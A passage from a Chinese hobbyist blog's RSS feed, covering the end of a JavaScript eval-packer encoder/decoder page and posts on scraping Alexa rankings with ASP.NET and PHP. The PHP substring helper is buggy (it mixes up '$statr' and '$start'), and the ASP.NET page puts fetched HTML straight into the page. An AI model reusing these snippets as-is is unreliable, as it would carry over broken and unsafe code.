#8b0000;">'</span><span style="color: Navy;">\\</span><span style="color: Red;">b</span><span style="color: #8b0000;">'</span><span style="color: Gray;">,</span><span style="color: #8b0000;">'</span><span style="color: Red;">g</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;">,&nbsp; &nbsp;</span><span style="color: Blue;">ch</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: Blue;">ch</span><span style="color: Gray;">&nbsp; &nbsp;==&nbsp; &nbsp;</span><span style="color: Blue;">dict</span><span style="color: Olive;">[</span><span style="color: Blue;">i</span><span style="color: Olive;">])</span><span style="color: Gray;">&nbsp; &nbsp;</span><span style="color: Blue;">dict</span><span style="color: Olive;">[</span><span style="color: Blue;">i</span><span style="color: Olive;">]</span><span style="color: Gray;">&nbsp; &nbsp;=&nbsp; &nbsp;</span><span style="color: #8b0000;">''</span><span style="color: Gray;">;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp;</span><span style="color: Olive;">}</span><span style="color: Gray;">&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp;</span><span style="color: Teal;">document</span><span style="color: Gray;">.</span><span style="color: Blue;">getElementById</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">code</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;">.</span><span style="color: Blue;">value</span><span style="color: Gray;">&nbsp; &nbsp;=&nbsp; &nbsp;</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">eval(function(p,a,c,k,e,d){e=function(c){return(c&lt;a?'':e(parseInt(c/a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return&nbsp; &nbsp;d[e]}];e=function(){return'</span><span style="color: Navy;">\\\\</span><span style="color: Red;">w+'};c=1};while(c--)if(k[c])p=p.replace(new&nbsp; &nbsp;RegExp('</span><span style="color: Navy;">\\\\</span><span style="color: Red;">b'+e(c)+'</span><span style="color: Navy;">\\\\</span><span style="color: Red;">b','g'),k[c]);return&nbsp; &nbsp;p}(</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;+&nbsp; &nbsp;</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">'</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">+</span><span style="color: Blue;">code</span><span style="color: Gray;">+</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">',</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">+</span><span style="color: Blue;">a</span><span style="color: Gray;">+</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">,</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">+</span><span style="color: Blue;">len</span><span style="color: Gray;">+</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">,'</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">+&nbsp; &nbsp;</span><span style="color: Blue;">dict</span><span style="color: Gray;">.</span><span style="color: Blue;">join</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">|</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;">+</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">'.split('|'),0,{}))</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;&nbsp; &nbsp;<br />&nbsp; </span><span style="color: Olive;">}</span><span style="color: Gray;">&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;<br />&nbsp; </span><span style="color: Green;">function</span><span style="color: Gray;">&nbsp; &nbsp;</span><span style="color: Blue;">num</span><span style="color: Olive;">(</span><span style="color: Blue;">c</span><span style="color: Olive;">)</span><span style="color: Gray;">&nbsp; &nbsp;</span><span style="color: Olive;">{</span><span style="color: Gray;">&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp;</span><span style="color: Green;">return</span><span style="color: Olive;">(</span><span style="color: Blue;">c</span><span style="color: Gray;">&lt;</span><span style="color: Blue;">a</span><span style="color: Gray;">?</span><span style="color: #8b0000;">''</span><span style="color: Gray;">:</span><span style="color: Blue;">num</span><span style="color: Olive;">(</span><span style="color: Blue;">parseInt</span><span style="color: Olive;">(</span><span style="color: Blue;">c</span><span style="color: #8b0000;">/</span><span style="color: Red;">a)))+((c=c%a)&gt;35?String.fromCharCode(c+29):c.toString(36));&nbsp; &nbsp;<br />&nbsp; }&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;<br />&nbsp; function&nbsp; &nbsp;run()&nbsp; &nbsp;{&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp;eval(document.getElementById('code').value);&nbsp; &nbsp;<br />&nbsp; }&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;<br />&nbsp; function&nbsp; &nbsp;decode()&nbsp; &nbsp;{&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp;var&nbsp; &nbsp;code&nbsp; &nbsp;=&nbsp; &nbsp;document.getElementById('code').value;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp;code&nbsp; &nbsp;=&nbsp; &nbsp;code.replace(</span><span style="color: #8b0000;">/</span><span style="color: Gray;">^</span><span style="color: Blue;">eval</span><span style="color: #8b0000;">/</span><span style="color: Red;">,&nbsp; &nbsp;'');&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp; &nbsp;document.getElementById('code').value&nbsp; &nbsp;=&nbsp; &nbsp;eval(code);&nbsp; &nbsp;<br />&nbsp; }&nbsp; &nbsp;<br />&nbsp; &lt;</span><span style="color: #8b0000;">/</span><span style="color: Blue;">script</span><span style="color: Gray;">&gt;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;<br />&nbsp;&nbsp; &nbsp;<br />&nbsp; &lt;</span><span style="color: Blue;">textarea</span><span style="color: Gray;">&nbsp; &nbsp;</span><span style="color: Blue;">id</span><span style="color: Gray;">=</span><span style="color: Blue;">code</span><span style="color: Gray;">&nbsp; &nbsp;</span><span style="color: Blue;">cols</span><span style="color: Gray;">=</span><span style="color: Maroon;">80</span><span style="color: Gray;">&nbsp; &nbsp;</span><span style="color: Blue;">rows</span><span style="color: Gray;">=</span><span style="color: Maroon;">20</span><span style="color: Gray;">&gt;&nbsp; &nbsp;<br />&nbsp; </span><span style="color: Blue;">alert</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">123</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp;<br />&nbsp; </span><span style="color: Blue;">a</span><span style="color: Gray;">=&nbsp; &nbsp;</span><span style="color: Maroon;">1</span><span style="color: Gray;">;&nbsp; &nbsp;<br />&nbsp; </span><span style="color: Blue;">b</span><span style="color: Gray;">=</span><span style="color: Maroon;">2</span><span style="color: Gray;">;&nbsp; &nbsp;<br />&nbsp; </span><span style="color: Blue;">alert</span><span style="color: Olive;">(</span><span style="color: Blue;">a</span><span style="color: Gray;">+</span><span style="color: Blue;">b</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp;<br />&nbsp; &lt;</span><span style="color: #8b0000;">/</span><span style="color: Red;">textarea&gt;&lt;br&gt;&nbsp; &nbsp;<br />&nbsp; &lt;input&nbsp; &nbsp;type=button&nbsp; &nbsp;onclick=encode()&nbsp; &nbsp;value=编码&gt;&nbsp; &nbsp;<br />&nbsp; &lt;input&nbsp; &nbsp;type=button&nbsp; &nbsp;onclick=run()&nbsp; &nbsp;value=执行&gt;&nbsp; &nbsp;<br />&nbsp; &lt;input&nbsp; &nbsp;type=button&nbsp; &nbsp;onclick=decode()&nbsp; &nbsp;value=解码&gt;</span></div></div>
]]></content:encoded>
			<wfw:commentRss>http://www.baizoo.cn/archives/969.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>aspx采集alexa方法整理</title>
		<link>http://www.baizoo.cn/archives/919.html</link>
		<comments>http://www.baizoo.cn/archives/919.html#comments</comments>
		<pubDate>Fri, 22 Jan 2010 20:53:48 +0000</pubDate>
		<dc:creator>baizoo</dc:creator>
				<category><![CDATA[技术爱好]]></category>
		<category><![CDATA[aspx]]></category>
		<category><![CDATA[采集]]></category>

		<guid isPermaLink="false">http://www.baizoo.cn/?p=919</guid>
		<description><![CDATA[刚学了php采集的技巧，正好手头有个aspx相关的源码，就顺便学习一下。 首先提个aspx的小技巧，vs里面默认的aspx页面是设计和编程分开的，两者分别在.aspx和.cs页面，而它们关联的前提是在.aspx页面里添加了下面代码： &#60;%@ Page Language=&#34;C#&#34; AutoEventWireup=&#34;true&#34; CodeBehind=&#34;Default.aspx.cs&#34; Inherits=&#34;web._Default&#34; %&#62; 如果要把代码直接写到aspx页面里，则头部代码改为 &#60;%@ Page Language=&#34;C#&#34; AutoEventWireup=&#34;true&#34; %&#62;&#60;%@ Import Namespace=&#34;System.IO&#34; %&#62;&#60;%@ Import Namespace=&#34;System.Net&#34; %&#62; 言归正传，下面整理aspx采集alexa值的方法，这里有个获取页面源码的小函数GetHtml public HttpWebRequest request;&#160;&#160; &#160;public HttpWebResponse response;&#160;&#160; &#160;public string GetHtml(string url, string encode)&#160;&#160; &#160;{&#160;&#160; &#160; &#160; &#160;string str = null;&#160;&#160; &#160; &#160; &#160;request = (HttpWebRequest)WebRequest.Create(url);&#160;&#160; &#160; &#160; &#160;request.Method = &#34;Get&#34;;&#160;&#160; &#160; &#160; &#160;request.ContentType = [...]]]></description>
			<content:encoded><![CDATA[<p>刚学了php采集的技巧，正好手头有个aspx相关的源码，就顺便学习一下。</p>
<p>首先提个aspx的小技巧，vs里面默认的aspx页面是设计和编程分开的，两者分别在.aspx和.cs页面，而它们关联的前提是在.aspx页面里添加了下面代码：</p>
<div class="hl-surround"><div class="hl-main">&lt;%@ Page Language=&quot;C#&quot; AutoEventWireup=&quot;true&quot; CodeBehind=&quot;Default.aspx.cs&quot; Inherits=&quot;web._Default&quot; %&gt;</div></div>
<p>如果要把代码直接写到aspx页面里，则头部代码改为</p>
<div class="hl-surround"><div class="hl-main">&lt;%@ Page Language=&quot;C#&quot; AutoEventWireup=&quot;true&quot; %&gt;<br />&lt;%@ Import Namespace=&quot;System.IO&quot; %&gt;<br />&lt;%@ Import Namespace=&quot;System.Net&quot; %&gt;</div></div>
<p>言归正传，下面整理aspx采集alexa值的方法，这里有个获取页面源码的小函数GetHtml<br />
<span id="more-919"></span>
<div class="hl-surround"><div class="hl-main">public HttpWebRequest request;<br />&nbsp;&nbsp; &nbsp;public HttpWebResponse response;<br />&nbsp;&nbsp; &nbsp;public string GetHtml(string url, string encode)<br />&nbsp;&nbsp; &nbsp;{<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;string str = null;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;request = (HttpWebRequest)WebRequest.Create(url);<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;request.Method = &quot;Get&quot;;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;request.ContentType = &quot;application/x-www-form-urlencoded&quot;;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;response = (HttpWebResponse)request.GetResponse();<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;if (response.StatusCode == HttpStatusCode.OK)<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;{<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;StreamReader sr = null;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;switch (encode)<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;{<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;case &quot;UTF-8&quot;:<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;sr = new StreamReader(response.GetResponseStream(), Encoding.UTF8);<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;break;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;case &quot;GBK&quot;:<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;sr = new StreamReader(response.GetResponseStream(), Encoding.GetEncoding(&quot;GBK&quot;));<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;break;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;case &quot;GB2312&quot;:<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;sr = new StreamReader(response.GetResponseStream(), Encoding.GetEncoding(&quot;GB2312&quot;));<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;break;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;default:<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;sr = new StreamReader(response.GetResponseStream(), Encoding.Default);<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;break;<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;str = sr.ReadToEnd();<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;}<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;return str;<br />&nbsp;&nbsp; &nbsp;}</div></div>
<p>调用这个函数</p>
<div class="hl-surround"><div class="hl-main">protected void Page_Load(object sender, EventArgs e)<br />&nbsp;&nbsp; &nbsp;{<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;string url= Request.QueryString[&quot;url&quot;];<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;string html=GetHtml(&quot;http://www.alexa.com/siteinfo/&quot;+url,&quot;UTF-8&quot;);&nbsp; &nbsp; &nbsp; &nbsp; <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;string regex = @&quot;style=&quot;&quot;margin-bottom:-2px;&quot;&quot;/&gt; (?&lt;alexa&gt;[^&lt;]*)&lt;/a&gt;&quot;;//用正则过滤得到需要的内容alexa值 <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;MatchCollection mc = Regex.Matches(html, regex, RegexOptions.IgnoreCase);//获取正则匹配的内容<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;string alexa = null;&nbsp; &nbsp; &nbsp; <br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;foreach (Match m in mc)<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;{<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;alexa = m.Groups[&quot;alexa&quot;].Value.ToString();<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;}<br />&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;divshow.InnerHtml = alexa;//把alexa值赋值给divshow<br />&nbsp;&nbsp; &nbsp;}</div></div>
<p>页面里加个显示控件</p>
<div class="hl-surround"><div class="hl-main">&lt;body&gt;<br />&nbsp;&nbsp; &nbsp;&lt;form id=&quot;form1&quot; runat=&quot;server&quot;&gt;<br />&nbsp;&nbsp; &nbsp;&lt;div runat=&quot;server&quot; id=&quot;divshow&quot;&gt;&nbsp; &nbsp; <br />&nbsp;&nbsp; &nbsp;&lt;/div&gt;<br />&nbsp;&nbsp; &nbsp;&lt;/form&gt;<br />&lt;/body&gt;<br /><br />最终效果浏览：http://localhost/alexa.aspx?url=baizoo.cn</div></div>
]]></content:encoded>
			<wfw:commentRss>http://www.baizoo.cn/archives/919.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>php采集alexa(包含图片采集下载)程序代码</title>
		<link>http://www.baizoo.cn/archives/916.html</link>
		<comments>http://www.baizoo.cn/archives/916.html#comments</comments>
		<pubDate>Fri, 22 Jan 2010 18:36:02 +0000</pubDate>
		<dc:creator>baizoo</dc:creator>
				<category><![CDATA[技术爱好]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[代码]]></category>
		<category><![CDATA[采集]]></category>

		<guid isPermaLink="false">http://www.baizoo.cn/?p=916</guid>
		<description><![CDATA[曾经我有学习过asp版采集程序的编写，见：ASP获取网站alexa排名的源码，asp采集源码主要用到了MSXML2.XMLHTTP获取页面内容，php实现起来更加简单一点，只要用一个php5自带的函数file_get_contents就行。网上有朋友总结了php采集及图片下载的程序，见：php 图文采集的基本原理和代码实例（俗称小偷程序)，我这里提取一些要点做下记录。 提取了采集部分的代码： &#60;?php &#160;function str_substr($str ,$statr, $end) { //字符串截取函数&#160; $x = strpos($str, $statr);&#160;&#160; return substr($str,&#160; $x+strlen($start), strpos($str, $end)-$x+strlen($end));&#160; }&#160;$url=&#34;http://www.alexa.com/siteinfo/baizoo.cn&#34;;//[/url]给据采集内容自己定$str=file_get_contents($url); //file_get_contents -- 将整个文件读入一个字符串$start='margin-bottom:-2px;&#34;/&#62;';//截取内容前的html&#160; &#160;最后网页中唯一$end='&#60;/a&#62;';//截取内容后的html 最后网页中唯一$content=str_substr($str , $start, $end);echo $content; //测试采集到的内容echo '&#60;hr&#62;';?&#62; 下载资源部分的代码，因为我暂时用不着，所以也没细看。想要学习的朋友可以看下面完整代码： &#60;?php //本程序为初学者入门，你可以随意更改使用//如有问题或有什么改进和优化，还望与我分享 QQ:297535861//与你一块进步。//2007-12-26function str_substr($str ,$statr, $end) { //字符串截取函数&#160; $x = strpos($str, $statr);&#160;&#160; return substr($str,&#160; $x+strlen($start), strpos($str, $end)-$x+strlen($end));&#160; }//////////////////////////////////////////////////$url=&#34;[url=http://www.xxxxxxx.xxx/XXX]http://www.XXXXXXX.XXX/XXX&#34;;//[/url]给据采集内容自己定$str=file_get_contents($url); ///file_get_contents -- 将整个文件读入一个字符串$start='#######';//截取内容前的html&#160; &#160;最后网页中唯一$end='########';//截取内容后的html 最后网页中唯一$content=str_substr($str [...]]]></description>
			<content:encoded><![CDATA[<p>曾经我有学习过asp版采集程序的编写，见：<a href="http://www.baizoo.cn/archives/361.html">ASP获取网站alexa排名的源码</a>，asp采集源码主要用到了MSXML2.XMLHTTP获取页面内容，php实现起来更加简单一点，只要用一个php5自带的函数<strong>file_get_contents</strong>就行。网上有朋友总结了php采集及图片下载的程序，见：<a href="http://dujiangtao20.blog.163.com/blog/static/520377742007112685914107/">php 图文采集的基本原理和代码实例（俗称小偷程序)</a>，我这里提取一些要点做下记录。</p>
<p>提取了采集部分的代码：</p>
<div class="hl-surround"><div class="hl-main"><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"> <br />&nbsp;<br /></span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">str_substr</span><span style="color: Olive;">(</span><span style="color: #00008b;">$str</span><span style="color: Gray;"> ,</span><span style="color: #00008b;">$statr</span><span style="color: Gray;">, </span><span style="color: #00008b;">$end</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span><span style="color: Gray;"> </span><span style="color: #ffa500;">//字符串截取函数</span><span style="color: Gray;"><br />&nbsp; </span><span style="color: #00008b;">$x</span><span style="color: Gray;"> = </span><span style="color: Blue;">strpos</span><span style="color: Olive;">(</span><span style="color: #00008b;">$str</span><span style="color: Gray;">, </span><span style="color: #00008b;">$statr</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; </span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: Blue;">substr</span><span style="color: Olive;">(</span><span style="color: #00008b;">$str</span><span style="color: Gray;">,&nbsp; </span><span style="color: #00008b;">$x</span><span style="color: Gray;">+</span><span style="color: Blue;">strlen</span><span style="color: Olive;">(</span><span style="color: #00008b;">$start</span><span style="color: Olive;">)</span><span style="color: Gray;">, </span><span style="color: Blue;">strpos</span><span style="color: Olive;">(</span><span style="color: #00008b;">$str</span><span style="color: Gray;">, </span><span style="color: #00008b;">$end</span><span style="color: Olive;">)</span><span style="color: Gray;">-</span><span style="color: #00008b;">$x</span><span style="color: Gray;">+</span><span style="color: Blue;">strlen</span><span style="color: Olive;">(</span><span style="color: #00008b;">$end</span><span style="color: Olive;">))</span><span style="color: Gray;">;&nbsp; <br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br />&nbsp;<br /></span><span style="color: #00008b;">$url</span><span style="color: Gray;">=</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">http://www.alexa.com/siteinfo/baizoo.cn</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;</span><span style="color: #ffa500;">//[/url]给据采集内容自己定</span><span style="color: Gray;"><br /></span><span style="color: #00008b;">$str</span><span style="color: Gray;">=</span><span style="color: Blue;">file_get_contents</span><span style="color: Olive;">(</span><span style="color: #00008b;">$url</span><span style="color: Olive;">)</span><span style="color: Gray;">; </span><span style="color: #ffa500;">//file_get_contents -- 将整个文件读入一个字符串</span><span style="color: Gray;"><br /></span><span style="color: #00008b;">$start</span><span style="color: Gray;">=</span><span style="color: #8b0000;">'</span><span style="color: Red;">margin-bottom:-2px;&quot;/&gt;</span><span style="color: #8b0000;">'</span><span style="color: Gray;">;</span><span style="color: #ffa500;">//截取内容前的html&nbsp; &nbsp;最后网页中唯一</span><span style="color: Gray;"><br /></span><span style="color: #00008b;">$end</span><span style="color: Gray;">=</span><span style="color: #8b0000;">'</span><span style="color: Red;">&lt;/a&gt;</span><span style="color: #8b0000;">'</span><span style="color: Gray;">;</span><span style="color: #ffa500;">//截取内容后的html 最后网页中唯一</span><span style="color: Gray;"><br /></span><span style="color: #00008b;">$content</span><span style="color: Gray;">=</span><span style="color: Blue;">str_substr</span><span style="color: Olive;">(</span><span style="color: #00008b;">$str</span><span style="color: Gray;"> , </span><span style="color: #00008b;">$start</span><span style="color: Gray;">, </span><span style="color: #00008b;">$end</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: Green;">echo</span><span style="color: Gray;"> </span><span style="color: #00008b;">$content</span><span style="color: Gray;">; </span><span style="color: #ffa500;">//测试采集到的内容</span><span style="color: Gray;"><br /></span><span style="color: Green;">echo</span><span style="color: Gray;"> </span><span style="color: #8b0000;">'</span><span style="color: Red;">&lt;hr&gt;</span><span style="color: #8b0000;">'</span><span style="color: Gray;">;<br /></span><span style="color: Blue;">?&gt;</span></div></div>
<p>下载资源部分的代码，因为我暂时用不着，所以也没细看。想要学习的朋友可以看下面完整代码：</p>
<p><span id="more-916"></span>
<div class="hl-surround"><div class="hl-main"><span style="color: Blue;">&lt;?php</span><span style="color: Gray;"> <br /></span><span style="color: #ffa500;">//本程序为初学者入门，你可以随意更改使用</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//如有问题或有什么改进和优化，还望与我分享 QQ:297535861</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//与你一块进步。</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//2007-12-26</span><span style="color: Gray;"><br /></span><span style="color: Green;">function</span><span style="color: Gray;"> </span><span style="color: Blue;">str_substr</span><span style="color: Olive;">(</span><span style="color: #00008b;">$str</span><span style="color: Gray;"> ,</span><span style="color: #00008b;">$statr</span><span style="color: Gray;">, </span><span style="color: #00008b;">$end</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span><span style="color: Gray;"> </span><span style="color: #ffa500;">//字符串截取函数</span><span style="color: Gray;"><br />&nbsp; </span><span style="color: #00008b;">$x</span><span style="color: Gray;"> = </span><span style="color: Blue;">strpos</span><span style="color: Olive;">(</span><span style="color: #00008b;">$str</span><span style="color: Gray;">, </span><span style="color: #00008b;">$statr</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br />&nbsp;&nbsp; </span><span style="color: Green;">return</span><span style="color: Gray;"> </span><span style="color: Blue;">substr</span><span style="color: Olive;">(</span><span style="color: #00008b;">$str</span><span style="color: Gray;">,&nbsp; </span><span style="color: #00008b;">$x</span><span style="color: Gray;">+</span><span style="color: Blue;">strlen</span><span style="color: Olive;">(</span><span style="color: #00008b;">$start</span><span style="color: Olive;">)</span><span style="color: Gray;">, </span><span style="color: Blue;">strpos</span><span style="color: Olive;">(</span><span style="color: #00008b;">$str</span><span style="color: Gray;">, </span><span style="color: #00008b;">$end</span><span style="color: Olive;">)</span><span style="color: Gray;">-</span><span style="color: #00008b;">$x</span><span style="color: Gray;">+</span><span style="color: Blue;">strlen</span><span style="color: Olive;">(</span><span style="color: #00008b;">$end</span><span style="color: Olive;">))</span><span style="color: Gray;">;&nbsp; <br /></span><span style="color: Olive;">}</span><span style="color: Gray;"><br /></span><span style="color: #ffa500;">//////////////////////////////////////////////////</span><span style="color: Gray;"><br /></span><span style="color: #00008b;">$url</span><span style="color: Gray;">=</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">[url=http://www.xxxxxxx.xxx/XXX]http://www.XXXXXXX.XXX/XXX</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;</span><span style="color: #ffa500;">//[/url]给据采集内容自己定</span><span style="color: Gray;"><br /></span><span style="color: #00008b;">$str</span><span style="color: Gray;">=</span><span style="color: Blue;">file_get_contents</span><span style="color: Olive;">(</span><span style="color: #00008b;">$url</span><span style="color: Olive;">)</span><span style="color: Gray;">; </span><span style="color: #ffa500;">///file_get_contents -- 将整个文件读入一个字符串</span><span style="color: Gray;"><br /></span><span style="color: #00008b;">$start</span><span style="color: Gray;">=</span><span style="color: #8b0000;">'</span><span style="color: Red;">#######</span><span style="color: #8b0000;">'</span><span style="color: Gray;">;</span><span style="color: #ffa500;">//截取内容前的html&nbsp; &nbsp;最后网页中唯一</span><span style="color: Gray;"><br /></span><span style="color: #00008b;">$end</span><span style="color: Gray;">=</span><span style="color: #8b0000;">'</span><span style="color: Red;">########</span><span style="color: #8b0000;">'</span><span style="color: Gray;">;</span><span style="color: #ffa500;">//截取内容后的html 最后网页中唯一</span><span style="color: Gray;"><br /></span><span style="color: #00008b;">$content</span><span style="color: Gray;">=</span><span style="color: Blue;">str_substr</span><span style="color: Olive;">(</span><span style="color: #00008b;">$str</span><span style="color: Gray;"> , </span><span style="color: #00008b;">$start</span><span style="color: Gray;">, </span><span style="color: #00008b;">$end</span><span style="color: Olive;">)</span><span style="color: Gray;">;<br /></span><span style="color: #ffa500;">//echo $content; //测试采集到的内容</span><span style="color: Gray;"><br /></span><span style="color: Green;">echo</span><span style="color: Gray;"> </span><span style="color: #8b0000;">'</span><span style="color: Red;">&lt;hr&gt;</span><span style="color: #8b0000;">'</span><span style="color: Gray;">;<br /></span><span style="color: #ffa500;">///////////////////////////////////////////////////</span><span style="color: Gray;"><br /></span><span style="color: #00008b;">$img_array</span><span style="color: Gray;"> = </span><span style="color: Green;">array</span><span style="color: Olive;">()</span><span style="color: Gray;">; <br /></span><span style="color: #00008b;">$content1</span><span style="color: Gray;"> = </span><span style="color: Blue;">stripslashes</span><span style="color: Olive;">(</span><span style="color: #00008b;">$content</span><span style="color: Olive;">)</span><span style="color: Gray;">; </span><span style="color: #ffa500;">//stripslashes函数作用是去掉字符串中的转义字符\</span><span style="color: Gray;"><br />&nbsp;<br /></span><span style="color: Green;">if</span><span style="color: Gray;"> </span><span style="color: Olive;">(</span><span style="color: Blue;">get_magic_quotes_gpc</span><span style="color: Olive;">())</span><span style="color: Gray;"> </span><span style="color: #00008b;">$content1</span><span style="color: Gray;"> = </span><span style="color: Blue;">stripslashes</span><span style="color: Olive;">(</span><span style="color: #00008b;">$content1</span><span style="color: Olive;">)</span><span style="color: Gray;">; <br />&nbsp;<br /></span><span style="color: #ffa500;">//echo $content1;//文章内容嘿嘿开始处理了 </span><span style="color: Gray;"><br /></span><span style="color: Blue;">preg_match_all</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">/(src|SRC)=</span><span style="color: Navy;">\&quot;</span><span style="color: Red;">(http:\/\/(.+)\/(.+).(gif|jpg|jpeg|bmp|png))/isU</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">,</span><span style="color: #00008b;">$content1</span><span style="color: Gray;">,</span><span style="color: #00008b;">$img_array</span><span style="color: Gray;">,</span><span style="color: Blue;">PREG_PATTERN_ORDER</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span><span style="color: #ffa500;">//正则开始匹配所有的图片并放入数组$img_array中 ，=匹配规则可根据具体情况改写，这个通用性不强，还望那位高手给个通吃的匹配=</span><span style="color: Gray;"><br /></span><span style="color: #00008b;">$img_array</span><span style="color: Gray;"> = </span><span style="color: Blue;">array_unique</span><span style="color: Olive;">(</span><span style="color: #00008b;">$img_array</span><span style="color: Olive;">[</span><span style="color: Maroon;">2</span><span style="color: Olive;">])</span><span style="color: Gray;">; </span><span style="color: #ffa500;">//array_unique -- 